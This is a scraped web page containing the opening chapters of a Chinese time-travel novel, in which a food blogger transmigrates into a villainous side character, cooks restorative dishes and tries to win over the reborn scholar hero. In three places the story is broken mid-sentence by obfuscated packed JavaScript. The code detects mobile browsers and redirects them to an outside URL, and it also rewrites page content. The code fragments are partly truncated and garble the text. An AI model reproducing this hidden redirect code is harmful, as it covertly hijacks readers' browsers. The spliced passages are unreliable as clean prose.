《我在科举文里开饭馆》 1. 及第粥 “砰砰砰！” 叶记饭馆后院里，叶扶秋被巨大的砸门声惊醒。 雕花木门被人粗暴撞开，外面风风火火闯进来一个陌生的麻子脸少年，他张口就是一声“姐”，惊得叶扶秋一下子坐了起来。 顾不得后脑隐隐的钝痛，独生女叶扶秋迟疑着问他：“你叫我什么？” 她有些混乱的打量四周，这是一间古朴而陌生的屋子。 身后坐着的木质床架硌得她生疼，空气中弥漫着股腐朽的味道，糊着浆糊的纸窗遮蔽了日光，本就昏暗的室内显得更加沉闷。 她刚才分明是在去录制美食节目的路上，结果被一辆车…… 面前少年瞧着年岁不大，矮矮胖胖，淡青色交领短衫裹着他浑圆的肚皮，不伦不类，瞧着像个不熟的赖皮橘子。 少年顿住脚步，眉头一挑就阴阳怪气道：“叶扶秋你又发什么神经，喊你姐还不乐意了？” 她是叫叶扶秋没错，可她哪来这么一个古代人似的弟弟？ 少年见她没答话，便兀自当她吃了瘪，想起此行的目的，又立马兴奋了起来，眉飞色舞炫耀道：“刚才我带人把顾宴苏给揍了！那家伙被按在地上，哭都不敢哭一声，真是个废物！” 谁……？ 耳熟的名字让叶扶秋觉出不妙，紧接着就见他得意洋洋挥了挥手里被撕成几半的纸张道：“就他那副穷酸样还想科举？一个赖在叶家吃白食的，我撕了他的保书，看他还怎么考！” 廪生保书是科举必需的文件，没了保书报名都无法，更何谈去考了。 这剧情听着愈发熟悉，叶扶秋轻轻揉捏着身上手感陌生的麻布袄裙，不动声色的坐看他闹。 少年瞧她没什么反应，竟不依不饶凑到她跟前，还嘲讽道：“真是什么锅配什么盖，那边一个哑巴，这边也有一个，爹娘给你们定的娃娃亲倒很合宜嘛。” 瞧见他那张胖脸挤在面前大放厥词，叶扶秋心生不爽，眼疾手快下一秒就揪住了他的耳朵，稍一用力便听见少年扯着嗓子发出杀猪般的嚎叫：“啊啊啊啊疼！快放开我！” 叶扶秋冷着脸：“叶小宝，你活腻了？” 是的，她已经确认：她穿成了科举文《青云》里和自己同名的恶毒女配！ 而顾宴苏正是原书里的男主，如今父母双亡寄人篱下，来日却是金榜题名官居一品的科举大佬。 原主如何恶毒暂先不提，这少年叶小宝便是小说开端里最惹人厌的炮灰反派：一个被惯坏了的白眼狼养子。 叶家本只有叶扶秋一个亲女，为续香火，叶家夫妇从慈幼院将叶小宝领回。念他是家里唯一的男孩，叶父叶母对这个养子可谓无有不应，但他尤不满足，当赌棍生父偷偷找上门时，他竟主动提出与他合谋夺取叶家家产。搞砸叶家饭馆，毁了原主容貌，又最终害得叶家家破人亡。 当初看小说叶扶秋就对他没有丝毫好感，如今穿到书里，更是不可能容忍他在眼前冒犯。 叶小宝捂着耳朵试图把叶扶秋的手扯下来，尖声大骂：“叶扶秋你疯了吗，快放开！” 叶扶秋松开他耳朵，转头又扯住他衣领往门外一推：“顾宴苏在哪，跟我去和他道歉。” “和他道歉？凭什么？！”叶小宝被她推得一个趔趄，面皮泛红大言不惭道，“你脑子是不是坏了？我这是为你好，不把他赶走，他吃的用的可都是我们叶家的钱！” “我们叶家？”叶扶秋似笑非笑，“你姓叶吗？” 这突如其来的话听得叶小宝心跳都停了半刻，他磕巴道：“什——你什么意思！我当然姓叶！” “要想人不知，除非己莫为。”叶扶秋凤眼里露出一丝嘲讽，却没再解释，让他自己猜去吧。 原主不知道叶小宝干的坏事，但她可太清楚了。 或许因为心虚，不知不觉叶小宝还真把路带到了顾宴苏卧房门口。说是卧房，其实也不过是柴房改的小屋。 远远就见到地上倒着一个水盆，盆里浸了几本书，想来又是叶小宝干的。 叶扶秋瞧着就来气，拽着叶小宝快步上前，急急从水里捞出那几本书，一翻开便见书页上的墨迹已经晕透，显然是没法再看了。 气得叶扶秋又狠狠揪了叶小宝一下，换来他“嗷”一声惨叫：“叶扶秋你到底想干什么，你平时不也最讨厌这废物了吗？今天抽的什么风要为了他来欺负我？！” “欺负你？”叶扶秋气笑了，“长姐如母，你嘴里再敢不干不净，我就替娘管教管教你。” 她顺手拾起地上的藤条就作势要打。 叶小宝早防着她，趁她弯腰“噌”一下躲出去老远，涨红着脸大骂道：“你疯啦，你还敢打我！我要去告诉娘，我弄死你！” 叶扶秋实在烦了他，追了两步就停下来，漠然看着他背影心道： 原主没脑子，她可不是。 书里原主嫉妒弟弟更受偏宠，被这白眼狼添油加醋撺掇了几句，就和爹娘闹起不和。然叶家夫妇本质不坏，好好沟通，和亲爹亲娘哪有说不清的道理。 不过这都不打紧，现下紧要的是去看看男主，全书最不该惹的人就是他……想起书里的剧情，叶扶秋捏紧眉心，原本美食博主当得好好的，谁愿意来接这烂摊子！ 原主和顾宴苏虽有娃娃亲，但她心眼极小，泼辣又暴躁，对一穷二白的男主很是嫌弃。原主每每受了叶小宝的气，就要回来寻顾宴苏的不是，而叶小宝也视顾宴苏为眼中钉，觉得他是来和自己抢家产的“赘婿”。 顾宴苏在叶家艰苦求学，受尽屈辱，今日叶小宝纠集狐朋狗友殴打他后，竟还反咬一口，叶家父母听信谗言要将他扫地出门。这个十四岁的少年终于彻底心冷，含怨出走，从此开启属于男主的逆袭之路。 命运的齿轮从此开始转动——不许转！ 男主是逆袭了，她这成天欺辱男主的炮灰女配还能落得了好？按照书里的结局，她可是要被丢去喂狼的！ 对着白眼狼养弟她重拳出击，对尚属小可怜的男主她却有些不知所措了，叶扶秋犹豫了好一阵子，才带着些忐忑推开了门。 狭小的房间里一片狼藉，墙角堆满杂物，书籍纸笔散落一地，满屋都是腐朽的味道。 床上蜷缩成一团的人影吸引了叶扶秋的注意，她蹑手蹑脚走过去，看清他的脸，只觉惊鸿一瞥不外如是。 少年人明月清风般的面庞清冷俊秀，双颊微陷，清瘦的令人心疼。他双目紧闭，微颤的睫毛如同鸦羽，一下一下搔到人心上。 有些人即使明珠蒙尘，也会一眼就被人认出，他是天生的主角。 唯一不足的便是他额上一片青肿，嘴角也有破溃的痕迹。 叶扶秋轻喊了一声：“顾宴苏？” 昏迷中的少年没有回应。 叶扶秋大着胆子上前，攥住他细瘦的手腕，小心翼翼探起脉象——她是拥粉千万的美食博主，同时还出自中医世家，自幼跟着亲长学医。 这一探，让她眉头皱得更紧，少年身体亏空太久， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092732|195504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又遭到外力重创，如今虚弱到能用奄奄一息来形容。不过好在年纪小恢复快，只要营养跟上，很快就能补回来。 顾不得书里可能发生的不妙未来，叶扶秋现在只想着救人，男主将来再厉害现在也只是个受伤的少年，是活生生一条人命。 顾宴苏身上青青紫紫不知道有多少伤处，好在没有伤及肺腑，除了金创药外竟更需要食补，叶扶秋一边盘算着，一边移步到了厨房。 叶记饭馆自叶家祖父传下来已有四十余年，本是越城有口皆碑的老字号，如今却已濒临倒闭。没有生意，后厨备着的菜品自然也没几样，叶扶秋颇为困难地挑挑拣拣，思考合适的菜肴。 拣择了半天，才勉强选出一些：鲫鱼，大米，还有几样猪下水。 既然是给伤员做饭，当然要以养生为主，用猪杂做的及第粥，滋补营养寓意好，再完美不过了。 后厨没人，叶扶秋满屋子转了一圈，往日熟悉的锅碗瓢盆，现在却染上一股博物馆藏品似的味道，研究了半天，她才开始动手。 对这间古代的厨房，叶扶秋从不适应到熟练，只花了一炷香时间。说来也巧，先前为了拍视频复刻古代美食，她特地学过相关的知识，还和朋友们一起，搭了间仿古样式的厨房。 这会儿美食博主的阅历，便恰巧派上了用场。 要想粥好喝，还得先熬高汤。 叶扶秋抓着鲫鱼去鳞、处理干净内脏，升起炉火，丢进油锅，一连串动作一气呵成，锅里立马滋啦滋啦溅起油花，鱼皮上很快便出现了喜人的焦黄色，紧接着几个呼吸间又变成了深褐色——糟糕，火势稍大，这模样古朴的灶台，还真有些难以掌控。 不过问题不大，叶扶秋赶紧倒进提前备好的沸水，一瞬间热气上涌，锅里咕噜咕噜冒着巨大的气泡，油脂在高温作用下把鱼汤变成了奶白色，鲫鱼的鲜香便顺着蒸汽扑面而来，直把人香了个跟头。 这边熬着汤，那边叶扶秋又转手取了些大米洗净，用石臼捻碎，加上少许盐和豆油，拌匀腌制。再取过猪杂，刀法娴熟地将猪肝、猪腰、猪粉肠依次切片，用黄酒姜片去腥，生抽并盐和生粉腌一会。 腌制的时候汤也熬好了，叶扶秋盛了碗鱼汤，汤里不带一丝腥气，浓醇的鲜味唇齿留香，一碗鲜汤很快饮尽，暖洋洋的触感直击胃肠，让人感觉浑身舒服得直冒泡。 叶扶秋满意地弯起眼睛，一切尽在掌握。 喝过汤，满腹食欲都被激起，她手脚变得更加麻利，将腌好的米加水煮制，等到米粒绽放成花，再倒入浓郁的鱼汤，继续熬煮。 锅里咕嘟嘟冒着泡，馥郁的米香扑鼻而来，满满当当盈了满屋。等到米水融合，粥底细腻顺滑时，便下入腌好的猪杂，煮上三四分钟后即可出锅。 奶白的粥底混合猪杂后，颜色深了些许，暖黄的颜色看着更加诱人，汤勺在里面搅了搅，沸腾的蒸汽便混合着米香肉香一起拥挤地涌出，热热闹闹地沾了人满身。 叶扶秋尝了尝，咸淡正好，猪杂鲜嫩，粥底也绵密细腻，和她记忆中的味道别无二致，甚至因为食材的新鲜而显得更加鲜美。 盛出一碗尝了又尝，简直满意地不得了。 趁粥正热着，叶扶秋赶紧给顾宴苏屋里端过去，过了这么久，也不知道人现在如何了。 刚到门口，就见那床上端坐着一道瘦削背影，她心中一喜，叫了声：“顾宴苏，你醒啦！” 少年闻声望来，目光却冰冷如霜，眼瞳漆黑仿佛深不见底的寒潭。 2. 重生后 叶扶秋心里刚生出的那点“喜”，瞬间就被顾宴苏目中的寒芒摄走了。 小说中的描绘真切地在她眼前具象化了，如今瞧着弱不胜衣的十四岁少年，当真是世界的主角，即使病弱不堪，凌厉的轮廓也依旧像在发光。 墨色长发如瀑般披散在身后，额间碎发半遮着双目，浓重的阴影掩盖住他风雨欲来般的情绪，整个人显得内敛而深沉。 叶扶秋莫名有些不安。 原著里写顾宴苏性情沉郁，明面上疏离冷静是端方君子，暗里却如同蛰伏的蛇，隐藏在暗处随时给敌人致命一击。 从父母双亡身无长物，到金榜折桂官至首辅，一路走来步履维艰，造就了他如此冷淡的性子。 可，按照书里的时间，还未曾同叶家彻底决裂的顾宴苏，应当还留有一丝少年人的天真。叶扶秋透过他尚显稚嫩的面庞，看到的不像一个少年，倒像是个久经宦海的老江湖。 叶扶秋心里嘀咕，却没多想，只当是人早熟，一心只顾着手里端着的粥。 屋里气氛凝滞，叶扶秋被他盯得晃了神，热粥溅到手上，烫得她嘶了一声，回过神边甩着手边道：“我给你煮了粥，你尝尝？” 顾宴苏看也没看那粥一眼，只盯着她，没有回应，冷然目光里写满警惕。 瞧他一副拒人于千里之外的样子，叶扶秋有些尴尬，解释道：“你别紧张，我没有恶意，只是听说叶小宝那厮干了混账事，有点担心……” “……担心我？”顾宴苏闻言终于扯了扯嘴角，许久没说话的嗓音有些喑哑，表情讽刺，仿佛听到一个天大的笑话。 叶扶秋头疼起来，原著进度到这，叶家已经把顾宴苏给得罪狠了，这位未来的科举大佬恐怕不会轻易信她的好意，毕竟原先她也是成天欺辱他的一员。 顾宴苏寄人篱下的日子难过极了。 身为男主的小青梅，原主却是最毒、最烂、最恶臭的那一枚坏果。 叶家饭馆生意尚好时，原主自认为娇娇小姐，对顾宴苏呼来喝去，极尽轻贱，把他当做下人使唤，刷盘子洗碗、拖地洗衣，什么脏活累活全丢给他，半点不顾及他也只是个半大的孩童。 如此倒也罢了，最可恶的是她精神上的折辱，原主成天嘲笑他读书是枉费心机，撕他的书、折他的笔，就连亡母遗物都被她烧毁，双亲留下的遗产更是被她统统抢走。 这种经历，搁谁能原谅她？ 叶扶秋干笑一声，自己也觉得荒谬，只能小心翼翼试图合理化自己的行为：“我只是不想你死在这，被别人知道了，还以为我叶家多坏似的。” “难道不是吗？”顾宴苏压抑着情绪，反问道。 “信不信由你，但这粥是好东西，你喝了吧，总归不能浪费了粮食。”叶扶秋眼神纯良，努力表现自己的真挚，还开了个玩笑，“别担心，我没下毒。” 可不管怎么解释，都带着股欲盖弥彰的味道。 好声好气劝了半天，顾宴苏都无动于衷，声音冷冷：“不必假好心，拿走。” 见他丝毫没有松动的意思，叶扶秋有些急了，按照剧情顾宴苏离开叶家后没几年就考取状元，当朝首辅哄着求着要把嫡女下嫁于他，新婚之夜，原主却找上门来声称是他发妻，要求首辅之女尊她为长当个妾室。 结果自然是首辅大怒，命人捉她丢下山崖喂了豺狼。 书里没有细写原主为什么荒唐至此，但叶扶秋却猜想其中定有顾宴苏的手笔，若不是他设下圈套，原主怎会蠢到这种地步。 如今得罪他的人变成了自己，叶扶秋感觉自己一条小命危于累卵，平白添了这么个隐忧，着实让人为难。 可压着性子劝了半天，顾宴苏都是漠不关心的样子，叶扶秋也恼了，她本就是个急脾气，上扬的凤眼挑起来：“你这人，怎么油盐不进的！特地给你熬的粥，今天你不吃也得吃！” 她边说边走到顾宴苏床前，无视他震惊瞪大的眼睛，一把将他按到墙上，凶巴巴道：“真没毒，不信我喝给你看。” 说罢，先是自己咕咚喝了一大口，然后一挑眉毛，将粥碗强硬地递到他嘴边：“喝！” …… 顾宴苏再醒来时只觉一阵荒唐，他怀疑自己是不是失心疯了，案牍劳形之下一场大病，竟把他带回到——那个曾令他受到莫大屈辱的叶家。 目光沉沉看着自己茧痕密布的双手，他就是靠着这双手科举入仕，提笔定乾坤，斩断一切阻碍与仇恨，可如今，却又带着记忆回到了他最不堪的过去。 上天给了他重活的机会，这一世，他一定要比从前更快直上青云路，他要让这些折辱过他的人统统付出代价。 只是这一回，情况好像变得和记忆里不一样了。 前世叶小宝撕毁他保书，仓促之下来不及再办，硬是让他错过了县试报名，让他平白多蹉跎了一年。 那时叶扶秋和弟弟沆瀣一气，没少在他面前耀武扬威，如今却在他面前大言不惭说着担心？ 何其荒谬！ 顾宴苏当然不信她阴险本性会变，并不打算接受她的“好意”。 可下一秒，那女人居然靠了过来，猝不及防之下，他硬是被她按到了墙角。 滚烫的粥碗靠在唇边，大米混合油脂的芳香不容抗拒地钻进他的鼻腔，一瞬间腹中轰鸣，饥饿感一触即发占据大脑，逼得他无法思考，几乎就要顺着她的动作喝起粥来。 但他还是忍住了，意志战胜本能，他出离愤怒地握住她的手腕：“放开我。” 顾宴苏用力推搡她想要起身，但长久虚弱的身体没有丝毫力气，叶扶秋伸出胳膊肘在他麻筋上捣了一下，身体一阵发酸，竟然没能挣开。 见他始终不愿配合，叶扶秋终于失了耐心掐住他下颌逼他张口，不管不顾硬是把粥喂了进去。 粥米的糯香十分霸道，肉粥绵密，碗里升腾的白烟掀起他满身的渴望，虚弱的身体根本无法抵御这浓郁的香味。 身体本能让他几乎妥协，可是浓烈的屈辱感油然而生，他再也无法忍受地爆发出一股大力，狠狠一推，甩开了叶扶秋的手。 “啪！” 一声巨响，瓷碗碎了一地，粥水溅得到处都是。 叶扶秋好像懵了，屋里一片死寂，没人说话，只见到顾宴苏胸膛起伏，鼻腔喷出愤怒的喘息。 “你……” 叶扶秋抿住唇一言不发，表情似乎有些受伤。 顾宴苏紧紧握着拳，形容狼狈，垂头不去看她，凌乱的发丝掩住他眼中几分不安。 半晌，叶扶秋一甩袖子，转身大步离开。 人走以后，顾宴苏才终于抬头，他发着楞，口腔里还残留着肉粥的鲜味，他下意识舔了舔唇角，那是他从没尝过的味道。 …… 叶扶秋燥红着脸，又羞又恼、心乱如麻地回到后厨，却见到灶台前站了个妇人。 “娘……？”叶扶秋有些迟疑地喊了一声，那妇人背对着她，看不清面貌，但后颈上一颗痦子却指明了她的身份。 妇人闻声回过头，眉眼温柔，圆圆的脸颊瞧着十分面善。 “哎，秋儿你来了。”她应了声，又抬手招呼道，“快来，尝尝你爹煮的粥。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092733|195504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >啊？ 叶扶秋愣了一下，叶母勺子里拨弄的，分明是她刚才煮的及第粥。 “什么呀，”她好笑道，“这是我煮的，娘。” 叶母惊讶：“秋儿煮的？你不是最讨厌做饭吗？何时还学会煮粥了？” 原主自诩娇小姐，自矜身份从不肯学厨艺，叶扶秋才想起来还有这事，闻言含糊道：“哎呀咱家可是开饭馆的，看多了不就会了。” 她凑过去亲亲热热抱住叶母胳膊，撒起娇来：“难道还不许您女儿天赋异禀呀？” 叶母余氏是个吃软不吃硬的性子，平素里叶小宝最擅长装乖耍宝，很得余氏喜欢。原主却是个驴脾气，见母亲宠溺弟弟，便更是气得和母亲疏远了起来。 见到女儿竟然难得低头和自己亲近，余氏心立马软了下来，笑眯眯摸了摸她的头：“哎，乖囡囡，许，当然许，我们秋儿最能干了。” 母女俩说了几句体己话，余氏又提起灶上的粥来：“秋儿这粥煮得真香，你弟弟还没尝过吧，我给他盛些去。” 大勺在锅里翻来覆去，几乎要把所有的肉都捞到叶小宝碗里。 叶扶秋微笑的唇角落下来几分，她想了想，又若无其事地抬起头：“娘，弟弟恐怕看不上家里的粥呢，下午我还看见他和胡大几人从逍遥楼里一起出来。” “胡大？”余氏动作一顿，“他怎和那些街头混子在一处？” 余氏露出一丝犹疑，“胡大可不是什么好人”，但刚愁一会儿就又松了眉头，不以为意道，“不过小宝还小呢，有点贪玩也是正常的，回头让他和那些人离远些便是。” 叶扶秋沉默一瞬，不动声色继续告状：“街坊邻居们说，好几次见到弟弟同那群混子在一起顽。” “时间久了小宝恐怕会被他们带坏了，更有甚者邻居们也会觉得，小宝同胡大他们是一样的人，这可有损他的名声和前程啊。” 她说得情真意切，眉心蹙起，仿佛真在为叶小宝感到担忧。 余氏被她这套话说得一愣一愣，也顿时觉得问题严重了起来：“这不行，我得把小宝找来问问！” “秋儿也长大了，”余氏又欣慰地抚着叶扶秋的手，“懂得关心弟弟了。” 叶扶秋磨了磨牙，刚想继续给叶小宝上眼药，就听见外面传来踏踏的脚步声。 “娘！！叶扶秋她欺负我！！” 叶小宝怒气冲天地跑进来，却见到屋内两人母慈女孝的样子，顿时跳脚：“娘你在做什么，快帮我打死她！” 余氏错愕：“你说什么？”她努力朝叶小宝露出和蔼的笑，却没像往常一样见面就给他一个拥抱。 叶小宝没察觉她的反常，指着叶扶秋大骂：“她疯了，我找人教训顾宴苏关她什么事，她竟然为了那个野男人打我！” “混账！”余氏脸一黑，“怎能这样说你姐姐，快给你姐姐赔不是。” 叶扶秋敏锐地察觉到她想和稀泥的意图，摆摆手故作大方道：“弟弟年纪小不懂事，被我说几句心里不快也是正常，我做姐姐的也不会同他计较，可今日他做的实在过火了些。” “娘可知道，他带着胡大那帮子人闯到家里打昏顾宴苏，还撕了他保书，要叫他考不了县试，这事传出去，谁不说我们叶家欺负他一个孤儿？” “读书人名声最是重要，这事要是闹大了，弟弟以后还怎么考功名？” “这左邻右舍说起闲话，爹娘还怎么做人？咱们叶记饭馆生意还做不做了？” 这一连串问话，炸得余氏花容失色，她气得头发昏，指着叶小宝嘴唇哆嗦：“你这逆子——” 3. 猪肚鸡 叶小宝从没想过有一天，对他百依百顺的养母余氏，竟也会指着他责问：“孽障，你可知错？” 他脑子嗡一下热血上头，猛踹了腿边柜门一脚：“我有什么错！” “砰”的巨响响彻了后院，余氏被他吓了一跳，还没说话就见叶扶秋冲过来挡在她面前：“叶小宝，你敢对娘动手？” “我没有，你胡说！” 叶扶秋挡在母亲身前，面对叶小宝微微一笑，便将他激得更加恼火，举起拳头就要动手—— “混账！”一只手忽然攥住他的胳膊，把他往后用力一拽，“谁给你的胆子对你娘动手！！” 叶扶秋望过去，那是个长相同她有几分相似的中年男人。 “爹？” 叶父叶显宗铁青着脸走进屋，揪住叶小宝衣领，将他扯出门外，冷呵一声：“我瞧你是长本事了，什么不三不四的人都敢往家带！当年就是那胡大害了顾兄弟，你把他带进家，是还想再害死顾兄弟的儿子吗？！” “你这是要把我的脊梁骨扔地上踩！”叶父怒急，抬脚就把他踹倒，踹完还不解气，又把他拖起来拉着往厢房走，“从现在开始禁足，直到你反省好了为止！” 叶扶秋和余氏追着两人，就见叶小宝被关在在房间里拍门大叫：“爹你做什么，姓顾的区区一个外人，打了又能怎样！我才是你儿子，快放我出去！” 叶父怒不可遏，一边锁上门闩一边隔着门骂他：“小畜生，这个家还轮不到你做主，平日你们小打小闹我当没看见，就真当老子管不了你了？” 整治了养子，叶父余怒未消，背着手在院子里踱来踱去，对叶扶秋道：“刚才我在门外都听到了。” 他忧心忡忡：“秋儿说的那些可是真的，他干的蠢事左邻右舍都、都知道了？” 叶扶秋点点头，她亲见是假，但书里可都写着了，男主顾宴苏因这事被赶出叶家自然要报复，叶小宝干的那些破事被传得满城风雨，镇上百姓纷纷骂叶家丧尽天良欺凌弱小，叶记饭馆本来就经营不善，这下更没人来了。 叶小宝又伙同生父马四搞断了叶记的进货渠道，最终导致叶记关门大吉，叶父遭人哄骗，将叶记饭馆以一个极低的价格卖给了马四。 “父亲，亡羊补牢为时未晚。”叶扶秋挽起垂下的发丝，笑容温婉，“咱们叶家在顾宴苏双亲故去后能收留他，首先就站了一个义字，只要日后对他好些，纵然之前犯下错事，也并非不可原谅。” “但叶小宝这次做的实在太过分，他撕了顾宴苏的保书，就是要让他考不成试，读书人最重脸面，他要是一气之下离开叶家，咱家的名声可就真保不住了……” “这、这可如何是好？” 叶父叶母被她吓得担忧起来，她又安抚道：“爹娘别急，我会试着劝顾宴苏留下的，但小宝那边……” 叶父咬牙：“就先关着！谅他也闹不出什么水花。” 叶扶秋满意点头，“为了父亲母亲，我会努力劝他的，若后面有什么需要，还请您多支持。” “自然。”叶父抚掌，欣慰一笑，“秋儿今个真是懂事不少，这才像我们叶家的种。” “日后叶记交到你手里，爹才能算安心啊！” 叶扶秋心里撇撇嘴，这话放在三年前，她还能为原身高兴高兴，可如今谁不知道，叶记离倒闭也就差临门一脚了。 她面上却不动声色，笑得乖顺。 …… 瞧眼窗外天光，落日熔金，不知不觉已近黄昏，红灿灿的夕阳撒在院落里，屋里屋外全都附上了一层暖意。 小厨房里烟火缭绕，灶上大火烧的正旺，叶扶秋颠着口大锅，手里铁铲翻炒不停。 她方才自告奋勇说要做今日的晚饭，一来是想表现自己，彻底把叶小宝比下去，二来就是想给顾宴苏做点吃食养养。 先前两人不欢而散，她是恼过一阵，但她脾气来得快、去得也快，换位思考，若她是男主，显然也不可能轻易相信她的好意。 压下那点想法，叶扶秋专注起手下的活计。 切成薄片的猪肝被大火断生，再丢进去几片切好的洋葱，呛人的香气便立刻伴随白烟一起争先恐后地溢出，又被叶扶秋淋在锅边的黄酒无情驱散。 她手上不停，一边翻炒一边又加进酱油，一点点盐和糖，等锅里的肝片被酱料染成喜人的红褐色，再倒入淀粉水勾芡，大火收汁几息功夫，一盘子酱爆猪肝便新鲜出炉。 先前煮粥剩下的猪下水不少，叶扶秋顺手便做来当晚餐，她动作麻利，洗洗涮涮又继续忙碌。 “好香啊。”余氏闻着味就进来了，端起猪肝有些惊讶，“秋儿莫不是真有什么做菜天赋？” 带着一点辣味的酱香扑面而来，钻进鼻腔令人食指大动，余氏只觉口舌生津，恨不得捧着盘子当场就开吃。 叶扶秋矜持一笑：“您先端过去吧，还有道汤待会就好。” 没过多久，厚实的白瓷大碗里就盛了满满的汤，油脂在高温下乳化呈现出可口的奶白色，切成条状的猪肚在汤汁中若隐若现，蒸腾的白雾把汤底的鲜味染得满屋都是。 端到桌前，就看见她爹两眼放光，鼻孔翕张贪婪地嗅起空中的香味。 “我煮了胡椒猪肚汤，爹快尝尝。”叶扶秋笑眯眯招呼他。 小火慢炖的猪肚光滑白嫩，配上微辛的胡椒，香气诱人，光闻一下就让人心生暖意。 叶父瞬间忘了方才的烦恼，十分迫切地伸手：“好香，快给我盛些！” 瞧那迫切的模样，余氏笑盈盈给他盛了满碗，叶父匆忙接过来，好像饿的不行，顾不得烫，随便吹几下就捧碗喝起来，结果被烫得“斯哈斯哈”不停，就这样还放不下手里的瓷碗，一口气喝了大半碗，才终于放下来，拾起筷子夹了条猪肚。 熬了足有半个时辰的猪肚十分适口，软嫩弹牙又不失嚼劲，咀嚼几下就顺着喉咙滑进胃里，不带一丝腥气，配上热乎乎的汤水，几口下去感觉整个人都热了起来，浓郁的鲜香完全主导了味蕾。 余氏瞧他那副馋样，很是惊奇：“秋儿的手艺就这样好？” 叶显宗好像这才反应过来自己狼吞虎咽的样子有些丢人，右手握拳掩住嘴有些不自在的咳了声：“嗯，确实不错。” 叶扶秋也坐下来，慢条斯理给自己盛好饭，夹起盘里的猪肝尝了一块。 这猪肝她用花椒水泡过，又放了葱姜蒜去腥，吃起来真是半点儿腥味也没有，吃到嘴里酱香浓郁，微黏的酱汁包裹着每一块肝片，入口没嚼几下就融化在嘴里，粉粉糯糯，满口留香。 这时候再扒上一口莹润的米饭，酱汁和软硬适中的饭粒混合在一起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092734|195504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，香得恨不得把舌头都吞进去。 抬眼再看桌上爹娘两人，没一个说话，全都在闷头吃喝。 酒足饭饱后，叶扶秋思索起接下来的路。 她不必也不想和男主为敌，人家一个板上钉钉的科举大佬未来状元，有这大腿不抱何苦来哉？ 现在正是县试报名的时候，等二月县试，四月府试，八月院试三级童试考过，便算有了功名，成为生员也就是秀才，真正脱离白身。 虽然还没下场，但叶扶秋知道顾宴苏未来一路科场通达，上皇榜中状元是必定的事。她越想越觉得前路一片光明，男主大腿抱好，谁还敢再难为她家饭馆？ 一转眼功夫，叶扶秋脑中畅想已经从重振饭馆，变成连锁店开遍全朝了，恨不得立刻挥着鞭子鞭策顾宴苏读书。 考考考，快给我考！ 全然忘了人家现在还视她为敌寇的现实，想到此，叶扶秋长叹了一口气，默默回到厨房。 灶上温着的汤少了大半，特意留下的蛋羹也被吃了干净，她心中顿时了然，顾宴苏来过。 那些本就是为他留的，因为挂念他受了伤，今天便刻意煮了胡椒猪肚汤这样滋补养人的汤羹，甚至还单独给他炖了俩鸡蛋，希望他早些康复——然后好好学习努力科考！ 平日里顾宴苏并不常和叶家人同席吃饭，叶家也不管他，可怜少年只能等天黑才来厨房，自己糊弄着做些吃食果腹。 惨啊。 幸好现在原身换成了她，读者都穿来了还能把主角饿着？ 叶扶秋心里正义感爆棚，苦谁不能苦孩子,穷啥不能穷教育，有她在，就不允许虐待男主！ 只是如今顾宴苏和叶家关系紧张，那碗粥就是前车之鉴，即使她想示好也只能潜移默化，再不能像今日这般鲁莽了。 以顾宴苏那样谨慎的性子，想缓和这段关系，恐怕还有很长的路要走。不过还好，剧情似乎已经悄悄改变，书里可没写这顿饭，男主醒来第一件事就是离开叶家，从此大路朝天，各走一方。 现在顾宴苏不仅没走，还吃了她做的饭，看来这剧情里的第一道坎，算是给她度过去了。 叶扶秋心情颇好地收拾好厨房，哼着歌慢悠悠准备回屋睡觉。 夜幕下的叶家小院漆黑静谧，不舍得点灯，只能借着明灭的月色寻路。 “吱呀。” 寂静中，院门推响的声音格外明显，叶扶秋脚步一顿，大晚上谁偷偷开门，别是进了小贼吧？ 她心跳加速，顺手抄起墙边的水瓢，蹑手蹑脚靠近院门，随时做好大声喊人的准备。 距离越来越近，一道人影清晰可见，那人背着个包袱，正似是偷了东西要逃走的窃贼，叶扶秋心头狂跳，紧张之下踉跄了一步，不知踩到什么，突兀发出道“砰”的响声。 那人顿时闻声望来，叶扶秋吓得一个机灵，不作他想下意识就奋力砸出手里的水瓢，还口快过脑地大喊一声：“别跑！” 瞎猫碰上死耗子，那人没反应过来被兜头砸了个正着，手里东西落地，捂住头痛“嘶”了一声。 这声音却有些熟悉，叶扶秋一愣，恰巧一阵微风吹散云层，月光透过夜色照进小院，落在那人脸上，露出一截莹白的下巴：“顾宴苏？” 他要走？ 不行，可不能让他走！ 4. 阳春面 叶扶秋下意识冲过去，以至于用力过猛，一头扎进顾宴苏怀里。 顾宴苏黑了脸，条件反射就要把她推开，叶扶秋却本能伸手，使劲抓住他胳膊：“你不能走！” “放开我。”顾宴苏沉着脸，用力扒拉想把她甩掉，然而叶扶秋跟八爪鱼似的抓得牢牢地，怎么都甩不掉。 